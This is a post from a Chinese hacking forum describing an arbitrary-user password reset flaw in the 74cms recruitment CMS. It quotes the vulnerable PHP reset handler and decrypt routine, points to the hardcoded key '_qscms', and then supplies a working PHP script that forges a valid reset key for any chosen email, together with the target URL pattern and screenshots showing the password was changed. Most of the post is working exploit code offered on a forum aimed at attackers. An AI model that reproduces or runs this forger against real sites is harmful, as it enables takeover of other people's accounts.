黑帽联盟

 找回密码
 会员注册
查看: 1416|回复: 0

[系统安全] 74cms任意用户密码修改

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    这个任意用户密码修改比较垃圾,随便讲一下
    1. public function user_setpass(){
    2.     if(IS_POST){
    3.         $retrievePassword = session('retrievePassword');
    4.         if($retrievePassword['token'] != I('post.token','','trim')) $this->error('非法参数!');
    5.         $user['password']=I('post.password','','trim,badword');
    6.         !$user['password'] && $this->error('请输入新密码!');
    7.         if($user['password'] != I('post.password1','','trim,badword')) $this->error('两次输入密码不相同,请重新输入!');
    8.         $passport = $this->_user_server();
    9.         if(false === $uid = $passport->edit($retrievePassword['uid'],$user)) $this->error($passport->get_error());
    10.         $tpl = 'user_setpass_sucess';
    11.         session('retrievePassword',null);
    12.     }else{
    13.         parse_str(decrypt(I('get.key','','trim')),$data);
    14.         !fieldRegex($data['e'],'email') && $this->error('找回密码失败,邮箱格式错误!','user_getpass');
    15.         $end_time=$data['t']+24*3600;
    16.         if($end_time<time()) $this->error('找回密码失败,链接过期!','user_getpass');
    17.         $key_str=substr(md5($data['e'].$data['t']),8,16);
    18.         if($key_str!=$data['k']) $this->error('找回密码失败,key错误!','user_getpass');
    19.         if(!$uid = M('Members')->where(array('email'=>$data['e']))->getfield('uid')) $this->error('找回密码失败,帐号不存在!','user_getpass');
    20.         $token=substr(md5(mt_rand(100000, 999999)), 8,16);
    21.         session('retrievePassword',array('uid'=>$uid,'token'=>$token));
    22.         $this->assign('token',$token);
    23.     }
    24.     $this->_config_seo(array('title'=>'找回密码 - '.C('qscms_site_name')));
    25.     $this->display($tpl);
    26. }
    复制代码

    这里解密是用的decrypt函数,进去看一下:
    1. function decrypt($txt, $key = '_qscms') {
    2.     $txt = passport_key(base64_decode($txt), $key);
    3.     $tmp = '';
    4.     for ($i = 0; $i < strlen($txt); $i++) {
    5.         $tmp .= $txt[$i] ^ $txt[++$i];
    6.     }
    7.     return $tmp;
    8. }
    9. function passport_key($txt, $encrypt_key) {
    10.     $encrypt_key = md5($encrypt_key);
    11.     $ctr = 0;
    12.     $tmp = '';
    13.     for($i = 0; $i < strlen($txt); $i++) {
    14.         $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
    15.         $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
    16.     }
    17.     return $tmp;
    18. }
    复制代码

    默认密钥位_qscms,而且写死了,调用时没有传入。
    所以,这里存在任意用户密码修改漏洞。
    编写如下生成代码:
    1. <?php
    2. function encrypt($txt, $key = '_qscms') {
    3.     srand((double)microtime() * 1000000);
    4.     $encrypt_key = md5(rand(0, 32000));
    5.     $ctr = 0;
    6.     $tmp = '';
    7.     for($i = 0; $i < strlen($txt); $i++) {
    8.         $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
    9.         $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
    10.     }
    11.     return base64_encode(passport_key($tmp, $key));
    12. }
    13. function passport_key($txt, $encrypt_key) {
    14.     $encrypt_key = md5($encrypt_key);
    15.     $ctr = 0;
    16.     $tmp = '';
    17.     for($i = 0; $i < strlen($txt); $i++) {
    18.         $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
    19.         $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
    20.     }
    21.     return $tmp;
    22. }
    23.   
    24. $email='example@xxx.com';
    25. echo urlencode(encrypt(http_build_query(['e'=>$email, 'k'=>substr(md5($email.'9487070991'),8,16),'t'=>'9487070991'])));
    复制代码

    获取key并替换到url中,可见这里直接可以修改用户example@xxx.com的密码了:
    http://demo1.xxx.com//index.php?m=&c=members&a=user_setpass&key=$key
    2.png


    修改密码成功:
    3.png



    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部